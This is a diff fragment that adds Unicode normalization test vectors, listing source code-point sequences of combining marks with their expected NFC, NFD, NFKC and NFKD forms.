+{ source: [0x0061, 0x1AC2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AC2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AC2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AC2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AC2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1AC3, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1AC3, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1AC3, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1AC3, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1AC3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AC3, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1AC3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1AC3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1AC3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1AC3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1AC4, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1AC4, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1AC4, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1AC4, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1AC4, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AC4, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1AC4, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1AC4, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1AC4, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1AC4, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AC5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AC5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AC5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AC5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AC5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AC5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AC5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AC5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AC5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AC5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AC6, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AC6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AC6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AC6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AC6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AC6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AC6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AC6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AC6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AC6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AC7, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AC7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AC7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AC7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AC7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AC7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AC7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AC7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AC7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AC7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AC8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AC8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AC8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AC8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AC8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AC8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AC8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AC8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AC8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AC8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AC9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AC9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AC9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AC9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AC9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AC9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AC9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AC9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AC9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AC9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1ACA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1ACA, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1ACA, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1ACA, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1ACA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1ACA, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1ACA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1ACA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1ACA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1ACA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1ACB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1ACB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1ACB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1ACB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1ACB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1ACB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1ACB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1ACB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1ACB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1ACB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1ACC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1ACC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1ACC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1ACC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1ACC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1ACC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1ACC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1ACC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1ACC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1ACC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1ACD, 0x0062], NFC: [0x00E0, 0x05AE, 0x1ACD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1ACD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1ACD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1ACD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1ACD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1ACD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1ACD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1ACD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1ACD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1ACE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1ACE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1ACE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1ACE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1ACE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1ACE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1ACE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1ACE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1ACE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1ACE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1B34, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1B34, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1B34, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1B34, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1B34, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1B34, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1B34, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1B34, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1B34, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1B34, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1B44, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1B44, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1B44, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1B44, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1B44, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1B44, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1B44, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1B44, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1B44, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1B44, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B6B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B6B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B6B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B6B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B6B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B6B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B6B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B6B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B6B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B6B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1B6C, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1B6C, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1B6C, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1B6C, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1B6C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1B6C, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1B6C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1B6C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1B6C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1B6C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B6D, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B6D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B6D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B6D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B6D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B6D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B6D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B6D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B6D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B6D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B6E, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B6E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B6E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B6E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B6E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B6E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B6E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B6E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B6E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B6E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B6F, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B6F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B6F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B6F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B6F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B6F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B6F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B6F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B6F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B6F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B70, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B70, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B70, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B70, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B70, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B70, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B70, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B70, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B70, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B70, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B71, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B71, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B71, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B71, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B71, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B71, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B71, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B71, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B71, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B71, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B72, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B72, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B72, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B72, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B72, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B72, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B72, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B72, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B72, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B72, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1B73, 0x0062], NFC: [0x00E0, 0x05AE, 0x1B73, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1B73, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1B73, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1B73, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1B73, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1B73, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1B73, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1B73, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1B73, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1BAA, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1BAA, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1BAA, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1BAA, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1BAA, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1BAA, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1BAA, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1BAA, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1BAA, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1BAA, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1BAB, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1BAB, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1BAB, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1BAB, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1BAB, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1BAB, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1BAB, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1BAB, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1BAB, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1BAB, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1BE6, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1BE6, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1BE6, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1BE6, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1BE6, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1BE6, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1BE6, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1BE6, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1BE6, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1BE6, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1BF2, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1BF2, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1BF2, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1BF2, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1BF2, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1BF2, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1BF2, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1BF2, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1BF2, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1BF2, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1BF3, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1BF3, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1BF3, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1BF3, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1BF3, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1BF3, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1BF3, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1BF3, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1BF3, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1BF3, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1C37, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1C37, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1C37, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1C37, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1C37, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1C37, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1C37, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1C37, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1C37, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1C37, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CD0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CD0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CD0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CD0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CD0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CD0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CD0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CD0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CD0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CD0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CD1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CD1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CD1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CD1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CD1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CD1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CD1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CD1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CD1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CD1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CD2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CD2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CD2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CD2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CD2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CD2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CD2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CD2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CD2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CD2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CD4, 0x0062], NFC: [0x0061, 0x0334, 0x1CD4, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CD4, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CD4, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CD4, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CD4, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CD4, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CD4, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CD4, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CD4, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1CD5, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1CD5, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1CD5, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1CD5, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1CD5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD5, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1CD5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1CD5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1CD5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1CD5, 0x0316, 0x059A, 0x0062] },
